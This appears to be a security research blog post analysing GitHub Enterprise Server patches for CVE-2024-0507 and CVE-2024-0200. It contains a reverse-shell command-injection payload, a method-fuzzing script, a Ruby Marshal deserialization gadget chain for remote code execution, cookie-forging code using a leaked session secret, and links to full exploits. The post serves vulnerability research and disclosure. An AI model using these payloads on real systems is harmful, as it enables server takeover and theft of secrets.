Segurança de Aplicação

Analysis of GitHub Enterprise vulnerabilities (CVE-2024-0507/CVE-2024-0200)

In this post we describe an analysis of the security patches introducted by GitHub Enterprise Server (GHES) release 3.11.3 [1]. It covers three main changes which fixes vulnerabilities related to CVE-2024-0507 and CVE-2024-0200. Both vulnerabilities when exploited give remote code execution on the GHES instance and we managed to create exploits for them.

Motivation

On mid January GitHub released a blog post [4] and patches [1] for vulnerabilities CVE-2024-0507 (by Imre Rad) and CVE-2024-0200 (by Ngo Wei Lin of STAR Labs). CVE-2024-0200 caught our attention as it was described as an Unsafe Reflection Vulnerability which could lead to remote code execution. This kind of vulnerability usually has interesting exploitation approaches so we got motivated to do a patch analysis and try to create an exploit by ourselves. It is worth noticing that no detailed information or exploits were publicly available for these CVEs at the time.

Analysis

Looking at the Security Fixes section of the 3.11.3 release note [1] we can see these documented security fixes:

analysis security fixes

These descriptions give us some clues about the type of vulnerabilities, what can be achieved and can help in recognizing each one when doing the patch analysis.

Obtaining the Source Code

OVA files can be easily obtained for GHES versions at [5]. For the patch analysis, we will need to download the vulnerable version and the patched one:

After downloading, we choose to execute the following steps to access the source codes:

  1. Extract each OVA file to get the VMDK files;
  2. Attach these VMDKs to some virtual machine in VirtualBox;
  3. Inside the guest, mount the disks;
  4. The source code files can be found at the /data directory. /data/enterprise_manage contains code for the Management Console while /data/github has the code for the GitHub app;
  5. The source code is encrypted, so we need to decrypt it by using a script such as [2]. Note: It is necessary to make a small patch in the script as encrypted files no longer include the require "ruby_concealer.so" line.

This approach is enough if you want to just look at the source code without running GHES and doesn’t require a valid license.

Running an instance of GHES

Since we also wanted to create exploits, we needed a vulnerable instance of the server for the tests. We generated a trial license for that.

We chose to run it by ourselves, see the steps below:

  1. Generate a 45-days trial license (https://enterprise.github.com/trial);
  2. Import the OVA for 3.11.2 release in VMware or VirtualBox;
  3. Add an extra hard disk (at least 150GB);
  4. Boot it;
  5. Access the URL informed in console and continue with the configuration;
  6. Add your ssh key during the configuration to get ssh access (for troubleshooting);
  7. Enable GitHub Actions.

Note: GitHub Enterprise requires a lot of resource to run, so make sure that you satisfy all requirements if you plan to run it fully (e.g. GitHub Actions enabled).

Patch Analysis

When doing a diff analysis of the two versions using the Meld tool [6], we found the following patches related to security issues:

Fix of a command injection in the Management Console

We found a patch which changed code used to create and execute a command. Before the patch it was concatenating variables to generate the command and after the patch it is passing values as arguments. We believe this patch is related to CVE-2024-0507.

File: /data/enterprise-manage/current/lib/manage/validators/actions_storage_settings_validator.rb

injection in the management console

By looking at the file name “actions_storage_settings_validator.rb” we can infer that it is related to the validation of some “actions” settings. The name of the executable binary (ghe-actions-test-storage-with-oidc) also tells us it has to do with validation of storage settings for GitHub Actions using OIDC.

Now if we take a look at the code leading to that command execution, we can see the method validate() takes values from a record argument. These values are directly interpolated to form the value of the cs variable, which goes through some more interpolations until it arrives at Process.spawn() for command execution.

File: /data/enterprise-manage/current/lib/manage/validators/actions_storage_settings_validator.rb

# frozen_string_literal: true

class ActionsStorageSettingsValidator < ActiveModel::Validator
  def validate(record)
    cs = case record.blob_provider
         when "azure"
           if record.oidc_enabled?
             "TenantId=#{record.azure_oidc.tenant_id};ClientId=#{record.azure_oidc.client_id};StorageAccount=#{record.azure_oidc.storage_account};EndpointSuffix=#{record.azure_oidc.endpoint_suffix};"
           else
             record.azure.connection_string
           end
         when "s3"
           if record.oidc_enabled?
             "BucketName=#{record.s3_oidc.bucket_name};RoleARN=#{record.s3_oidc.role_arn};Region=#{record.s3_oidc.region}"
           else
             "BucketName=#{record.s3.bucket_name};AccessKeyId=#{record.s3.access_key_id};SecretAccessKey=#{record.s3.access_secret};ServiceUrl=#{record.s3.service_url};ForcePathStyle=#{record.s3.force_path_style}"
           end
         when "gcs"
           if record.oidc_enabled?
             "BucketName=#{record.gcs_oidc.bucket_name};WorkloadProviderId=#{record.gcs_oidc.workload_id};ServiceAccount=#{record.gcs_oidc.service_acc};ServiceUrl=#{record.gcs_oidc.service_url}"
           else
             "BucketName=#{record.gcs.bucket_name};AccessKeyId=#{record.gcs.access_key_id};SecretAccessKey=#{record.gcs.access_secret};ServiceUrl=#{record.gcs.service_url};ForcePathStyle=#{record.gcs.force_path_style}"
           end
         else
           errors.add :blob_provider, "is not supported"
           return
         end


    if record.oidc_enabled?
      cs = "#{cs};EnterpriseIdentifier=#{record.enterprise_identifier}"
      # This will run as a background process
      pid = Process.spawn("sudo -u admin  ghe-actions-test-storage-with-oidc -cs '#{cs}' -p #{record.blob_provider}", pgroup: true, out: "/data/user/common/ghe-oidc-test-storage.log", err: :out)
      Process.detach(pid)

    else
(...)

We can also notice the branch condition if record.oidc_enabled? telling us that we need to enable OIDC in the settings for the vulnerable branch to be reached.

When we login in the Management Console and go to the Settings page, it is easy to guess where we can control those input values, as we can see in the picture below:

github actions

For our tests we chose to exploit via the attribute record.s3_oidc.bucket_name. Once you click “Test storage settings”, the command injection occurs. See the picture below:

This vulnerability is meant to be triggered by an editor role account, which makes sense since this type of account doesn’t have permissions to add SSH keys to grant administrative SSH access to the instance, and the vulnerability would allow that. [3] The user could elevate its privileges or gain access to the root site administrator account.

We have developed an exploit which takes the username and password of an user with editor role and exploits this vulnerability to execute the command ghe-set-password. This command changes the root site administrator password to a known password so the attacker can then login in the Management Console as root site administator and add its own SSH key. But if you just want a reverse shell, you can use as payload something like:

'; bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'; x='

Exploit can be found at: https://github.com/convisolabs/exploits/blob/main/CVE-2024-0507.py

Fix of an unsafe reflection with send #1

We found this patch where an user could control the method to be called in the identifier_for method of an Organizations::Settings::RepositoryItemsComponent instance.

File: /data/github/current/app/components/organizations/settings/repository_items_component.rb

send2

File: /data/github/current/app/controllers/orgs/actions_settings/repository_items_controller.rb

rid key

We noticed this could be related to CVE-2024-0200 since it is an unsafe reflection vulnerability.

To better understand the flow from the rid_key parameter to the send() sink, lets take a look at the Orgs::ActionsSettings::RepositoryItemsController controller.

File: /data/github/current/app/controllers/orgs/actions_settings/repository_items_controller.rb

class Orgs::ActionsSettings::RepositoryItemsController < Orgs::Controller
  include Actions::RunnerGroupsHelper
  include Actions::RunnersHelper
  include Orgs::RepositoryItemsHelper

  before_action :login_required
  before_action :ensure_organization_exists
  before_action :organization_admin_required
  before_action :ensure_trade_restrictions_allows_org_settings_access
  before_action :ensure_can_use_org_runners
  before_action :ensure_page_specified
(...)

By the controller’s name we can see it is related to some Actions settings, which would indicate it needs GitHub Actions to be enabled. In fact, if we take a look at the included Actions::RunnersHelper module, we can see it includes a before_action to check if Actions is enabled.

File: /data/github/current/app/controllers/actions/runners_helper.rb

# typed: false
# frozen_string_literal: true

require "github-launch"
require "github/launch_client"

module Actions::RunnersHelper
  extend ActiveSupport::Concern

  included do
    before_action :ensure_actions_enabled
  end
(...)

Looking at the other before_action we can see it has a bunch of other requirements, such as a logged in user which is an admin for some organization and a page number which must be specified.

Now lets track how the parameter’s value can reach the send() method. We can see the method rid_key() returns the value of params[:rid_key]. Also the repository_identifier_key method returns the value of rid_key().

File: /data/github/current/app/controllers/orgs/actions_settings/repository_items_controller.rb

class Orgs::ActionsSettings::RepositoryItemsController < Orgs::Controller
(...)
  def index
(...)
    respond_to do |format|
      format.html do
        render(Organizations::Settings::RepositoryItemsComponent.new(
          organization: current_organization,
          repositories: additional_repositories(selected_repository_ids),
          selected_repositories: [],
          current_page: page,
          total_count: current_organization.repositories.size,
          data_url: data_url,
          aria_id_prefix: aria_id_prefix,
          repository_identifier_key: repository_identifier_key,
          form_id: form_id
        ), layout: false)
      end
    end
  end
(...)
  def rid_key
    params[:rid_key]
  end
(...)
  def repository_identifier_key
    return :global_relay_id unless rid_key.present?
    rid_key
  end

At the end of the index() method, we can see Organizations::Settings::RepositoryItemsComponent is instantiated and it takes our controlled value as repository_identifier_key argument.

Now, looking at the component’s code, at the constructor we can see that our value is assigned to the @repository_identifier_key instance variable, which is then used as argument to the send() method when identifier_for is called.

File: /data/github/current/app/components/organizations/settings/repository_items_component.rb

# typed: true
# frozen_string_literal: true

class Organizations::Settings::RepositoryItemsComponent < ApplicationComponent
  def initialize(organization:, repositories:, selected_repositories:, current_page:, total_count:, data_url:, aria_id_prefix:, repository_identifier_key: :global_relay_id, form_id: nil)
    @organization = organization
    @repositories = repositories
    @selected_repositories = selected_repositories
    @show_next_page = current_page * Orgs::RepositoryItemsHelper::PER_PAGE < total_count
    @data_url = data_url
    @current_page = current_page
    @aria_id_prefix = aria_id_prefix
    @repository_identifier_key = repository_identifier_key
    @form_id = form_id
  end
(...)

  def render?
    @show_next_page || @repositories.any?
  end

  def identifier_for(repository)
    repository.send(@repository_identifier_key)
  end
(...)

But who calls identifier_for? It is called by the component’s view for each repository. Which leads us to the last requirement that at least one repository must exist in the organization.

File: /data/github/current/app/components/organizations/settings/repository_items_component.html.erb

<%# erblint:counter ButtonComponentMigrationCounter 1 %>
<% @repositories.each do |repository| %>
  <li <% unless first_page? %> hidden <% end %> class="css-truncate d-flex flex-items-center width-full">
    <input
      <%= "form=#{@form_id}" if @form_id.present? %>
      type="checkbox" name="repository_ids[]"
      value="<%= identifier_for(repository) %>"
      id="<%= @aria_id_prefix %>-<%= repository.id %>"
      <%= " checked" if @selected_repositories.include?(identifier_for(repository)) %>
(...)

To summarize, these are the vulnerability requirements:

  1. GitHub Actions needs to be enabled;
  2. There must be an organization;
  3. The user must be an organization admin;
  4. The organization must have at least one repository;
  5. You must provide a page parameter greater than 0.

Now we need to know what is the route to reach that controller, which we can find at the routes definition file at config/routes/actions.rb.

File: /data/github/current/config/routes/actions.rb

(...)
get    "/organizations/:organization_id/settings/actions/repository_items",                   to: "orgs/actions_settings/repository_items#index",           as: :settings_org_actions_repository_items
(...)

So, it is a GET request where the organization id goes as a path parameter and the other ones (page and rid_key) go as query parameters.

When we send such request to our vulnerable GHES instance using xxx as the value for the rid_key parameter, we get an error 500.

error exemple

This actually is a good sign, given that calling an undefined method would raise an exception and result in such page. Now lets take advantage of our SSH access to the GHES instance (via the SSH key we added during the initial setup) to see the production log:

gbr@ubuntu:~$ ssh -p 122 admin@192.168.1.6
admin@mygithub-local:~$ grep -A5 'xxx' /var/log/github/production.log
NoMethodError (undefined method `xxx' for #<Repository id: 1, name: "FZfh1rp3qx", owner_id: [FILTERED], parent_id: nil, sandbox: nil, updated_at: [FILTERED], created_at: [FILTERED], public: [FILTERED], description: nil, homepage: nil, source_id: [FILTERED], public_push: nil, disk_usage: [FILTERED], locked: [FILTERED], pushed_at: [FILTERED], watcher_count: [FILTERED], public_fork_count: [FILTERED], primary_language_name_id: nil, has_issues: [FILTERED], has_wiki: [FILTERED], has_downloads: [FILTERED], raw_data: [FILTERED], organization_id: 5, disabled_at: nil, disabled_by: nil, disabling_reason: nil, health_status: nil, pushed_at_usec: [FILTERED], active: [FILTERED], reflog_sync_enabled: [FILTERED], made_public_at: [FILTERED], user_hidden: [FILTERED], maintained: [FILTERED], template: [FILTERED], owner_login: [FILTERED], world_writable_wiki: [FILTERED], refset_updated_at: nil, disabling_detail: nil, archived_at: nil, deleted_at: nil>):
  /github/vendor/gems/3.2.2/ruby/3.2.0/gems/activemodel-7.1.0.alpha.bb4dbd14f8/lib/active_model/attribute_methods.rb:489:in `method_missing'
  /github/app/components/organizations/settings/repository_items_component.rb:26:in `identifier_for'
  /github/app/components/organizations/settings/repository_items_component.html.erb:7:in `block in call'
  /github/vendor/gems/3.2.2/ruby/3.2.0/gems/activerecord-7.1.0.alpha.bb4dbd14f8/lib/active_record/relation/delegation.rb:100:in `each'
  /github/vendor/gems/3.2.2/ruby/3.2.0/gems/activerecord-7.1.0.alpha.bb4dbd14f8/lib/active_record/relation/delegation.rb:100:in `each'

We grep for “xxx” in the production log file and there is the error! We managed to trigger the vulnerability.

So, we can call any method available in a Repository instance, but we can’t provide any arguments to it. What can we do with it? How to get remote code execution with this? It is not like we could call a method such as “eval” and provide some code to be executed.

It turns out that this is still a good primitive. It all depends on the methods that are available in the object. What if this Repository instance has some shady method which could enable some kind of debug mode, making the application accept commands? What if some method could leak useful information, such as environment variables? We know that for Rails applications, if we get the cookies’ signing secret, we often can get RCE via deserialization.

With that in mind we decided to get a list of all methods available to be called. For that we send the “methods” string as value for rid_key. It is a method [7] which returns a list of the names of public and protected methods of an object. It will also include the methods accessible in the object’s ancestors.

methods results

The response will include a big list with all the methods we can call, which is more than 5000 methods. Looking at them, we decided to filter out some based on their name. We created another list filtering out method names ended in “_path”, “_url”, “?”, “=”, “_change”, “database” or including “autosave” or “validate”, which gave us a new list made up of roughly 2600 method names.

Then we created a simple Python script which would send a request for each method name from the list and record the response in a file.

import requests

import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def send_request(url, headers, params):
    response = requests.get(url, headers=headers, params=params, verify=False)
    return response

def save_response(method_name, response):
    with open("method_" + method_name, 'w') as file:
        file.write(response.text)

def read_wordlist(file_path):
    with open(file_path, 'r') as file:
        wordlist = [line.strip() for line in file]
    return wordlist

def fuzzer(url, wordlist_path, headers):
    wordlist = read_wordlist(wordlist_path)

    for word in wordlist:
        params = {"page": 1, "rid_key": word}
        response = send_request(url, headers, params)
        save_response(word, response)
        print(f"Param: rid_key={word}, Status Code: {response.status_code}")

if __name__ == "__main__":
    org = 'org'
    url = f"https://mygithub.local/organizations/{org}/settings/actions/repository_items"
    headers = {'Cookie': 'YOUR COOKIE HERE'}
    wordlist_path = "lista.txt"

    fuzzer(url, wordlist_path, headers)

After running the script, we started to review the files trying to notice anything interesting in the outputs. It was at that moment that we found a dump of environment variables inside the file containing the output for the method restore_objects!

File: method_restore_objects

restore objects

If you track this method you find out that it reaches a GitRPC call that spawns a process and returns the environment variables besides other information as result.

This environment variable dump contains all kinds of secret information, such as tokens, password hashes and secret keys!

Given that we got access to environment variables, we decided to take the approach of trying to execute a deserialization attack to achieve RCE. One thing we had already noticed was that the cookie _gh_render was being serialized with Marshal, because it started with the “BAh” prefix which represents the Marshal header base64-encoded. [8]

Doing a grep for “_gh_reader” we arrived at this code:

File: /data/github/current/lib/github/enterprise/middleware.rb

(...)
        builder.insert_after GitHub::Routers::Api, DualSession, "render.session",
          key: "_gh_render",
          path: "/",
          expire_after: (365 * 24 * 60 * 60), # seconds
          secret: GitHub.session_secret,
          secure: GitHub.ssl?
(...)

Using ghe-console we got the value for GitHub.session_secret and confirmed this value is present in the environment variable dump as ENTERPRISE_SESSION_SECRET.

console session secret
session secret

Now we need to prepare our payload that when deserialized will give us a reverse shell. We choose to start with the well-known gadget ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy [8] [9], which allows us to execute any method on any object we want, but without being able to pass arguments.

File: /data/github/current/vendor/gems/3.2.2/ruby/3.2.0/gems/activesupport-7.1.0.alpha.bb4dbd14f8/lib/active_support/deprecation/proxy_wrappers.rb

(...)
    class DeprecatedInstanceVariableProxy < DeprecationProxy
      def initialize(instance, method, var = "@#{method}", deprecator = nil)
        @instance = instance
        @method = method
        @var = var
        ActiveSupport.deprecator.warn("DeprecatedInstanceVariableProxy without a deprecator is deprecated") unless deprecator
        @deprecator = deprecator || ActiveSupport::Deprecation._instance
      end

      private
        def target
          @instance.__send__(@method)
        end

        def warn(callstack, called, args)
          @deprecator.warn("#{@var} is deprecated! Call #{@method}.#{called} instead of #{@var}.#{called}. Args: #{args.inspect}", callstack)
        end
    end
(...)

This occurs at command @instance.__send__(@method) where our supplied method is executed for our supplied instance. The following Ruby script can be used to generate a serialized payload:

class ActiveSupport
  class Deprecation
    def initialize()
      @silenced = true
    end
    class DeprecatedInstanceVariableProxy
      def initialize(instance, method)
        @instance = instance
        @method = method
        @deprecator = ActiveSupport::Deprecation.new
      end
    end
  end
end

depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
depr.instance_variable_set :@instance, 123
depr.instance_variable_set :@method, :lol
depr.instance_variable_set :@var, "@lol"
depr.instance_variable_set :@deprecator, ActiveSupport::Deprecation.new

puts(Marshal.dump(depr).inspect)

You can take the output of this script and provide it as input to a Marshal.load() call inside ghe-console. We recommend that you run this script with the same Ruby version used in GHES (ruby 3.2.2).

We can see that method lol was called for object 123. Now we just need to find a class which has an instance method that when called (without arguments) would do some dangerous operation using an instance variable.

After some greps, we found a very suitable class named Aqueduct::Worker::Worker which is loaded at runtime. The kill_child method when called executes a command containing an interpolation with the instance variable @child using system().

File: /data/github/current/vendor/gems/3.2.2/ruby/3.2.0/gems/aqueduct-client-1.1.0/lib/aqueduct/worker/worker.rb

module Aqueduct
  module Worker
    class Worker
      attr_reader :backend, :queues, :config, :logger, :current_job, :current_job_started_at, :last_heartbeat_at
(...)
      def kill_child
        if @child
          logger.warn("Killing child at #{@child}")
          if system("ps -o pid,state -p #{@child}")
            Process.kill("KILL", @child) rescue nil
          else
            logger.warn("Child #{@child} not found, restarting.")
            shutdown
          end
(...)

Now we can finalize our payload by combining this class with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy. See the Ruby script below:

class ActiveSupport
  class Deprecation
    def initialize()
      @silenced = true
    end
    class DeprecatedInstanceVariableProxy
      def initialize(instance, method)
        @instance = instance
        @method = method
        @deprecator = ActiveSupport::Deprecation.new
      end
    end
  end
end

code = 'touch /tmp/hacked'

module Aqueduct; module Worker; class Worker; end; end; end
class Logger; end

worker = Aqueduct::Worker::Worker.allocate
worker.instance_variable_set :@child, "99999999; " + code
worker.instance_variable_set :@logger, Logger.allocate

depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
depr.instance_variable_set :@instance, worker
depr.instance_variable_set :@method, :kill_child
depr.instance_variable_set :@var, "@kill_child"
depr.instance_variable_set :@deprecator, ActiveSupport::Deprecation.new

puts(Marshal.dump(depr).inspect)

When trying the payload in the ghe-console we can see it works.

console

With the payload ready, we can base64-encode it, calculate its signature using the leaked secret and prepare the session cookie to be sent to the server, like the Python snippet below:

(...)
marshal_code = YOUR_SERIALIZED_PAYLOAD
marshal_encoded = base64.b64encode(bytes(marshal_code, 'UTF-8')).rstrip()
digest = hmac.new(bytes(SESSION_SECRET, 'UTF-8'), marshal_encoded, hashlib.sha1).hexdigest()
marshal_encoded = urllib.parse.quote(marshal_encoded)
session_cookie = "%s--%s" % (marshal_encoded, digest)
print(session_cookie)

cookies = {'_gh_render': session_cookie}

We have put everything together and created an exploit which takes as input the target server, the username/password for an organization owner and IP/PORT for the reverse shell.

Exploit can be found at: https://github.com/convisolabs/exploits/blob/main/CVE-2024-0200.py

github gif

Given that this is an unsafe reflection vulnerability, which requires the user to have an “organization owner role” such as described in the CVE and that we were able to achieve remote code execution with it, we believe this is related to CVE-2024-0200.

Fix of an unsafe reflection with send #2

We found this patch where an user could control the method (via path variable) to be called in the custom_path_for method.

File: /data/github/current/app/components/context_switcher/list_component.rb

We found the controller to trigger this vulnerability (ContextSwitcher::ContextsController) but discovered it checks if the environment is “dotcom” instead of “enterprise” at ensure_not_enterprise_server.

Started GET "/contexts" for 192.168.1.8 at 2024-03-18 21:32:25 +0000
Processing by ContextSwitcher::ContextsController#index as HTML
  Rendered layout layouts/site.html.erb (Duration: 63.5ms | Allocations: 21164)
Filter chain halted as :ensure_not_enterprise_server rendered or redirected

Given that we saw no mention of this requirement in the CVE description for CVE-2024-0200, we believe this is not the vulnerability related with that CVE. Maybe this patch is not associated with a CVE at all and could be related to some internal finding, or related to some report which could not manage to exploit it successfully.

Since we achieved remote code execution with the previous vulnerability, we didn’t spend much time analyzing this one.

Conclusion

In this post we described a methodology on how to analyze security patches in GitHub Enterprise Server when CVE descriptions lack detailed information, which can be applied to other applications as well. We saw how to create working exploits for vulnerabilities starting from the analysis of source code and showed how to develop a customized deserialization payload for the target application.

References

[1] Enterprise Server 3.11.3
[2] decrypt_github_enterprise.rb
[3] Management Console user
[4] Rotating credentials for GitHub.com and new GHES patches
[5] Releases
[6] Meld Visual diff and merge tool
[7] Class Object
[8] Phrack Issues
[9] writeups

Authors

Gabriel Quadros – Information Security Specialist
Ricardo Silva – Information Security Specialist

About author

Articles

A team of professionals, highly connected on news, techniques and information about application security

Deixe um comentário

Discover more from Conviso AppSec

Subscribe now to keep reading and get access to the full archive.

Continue reading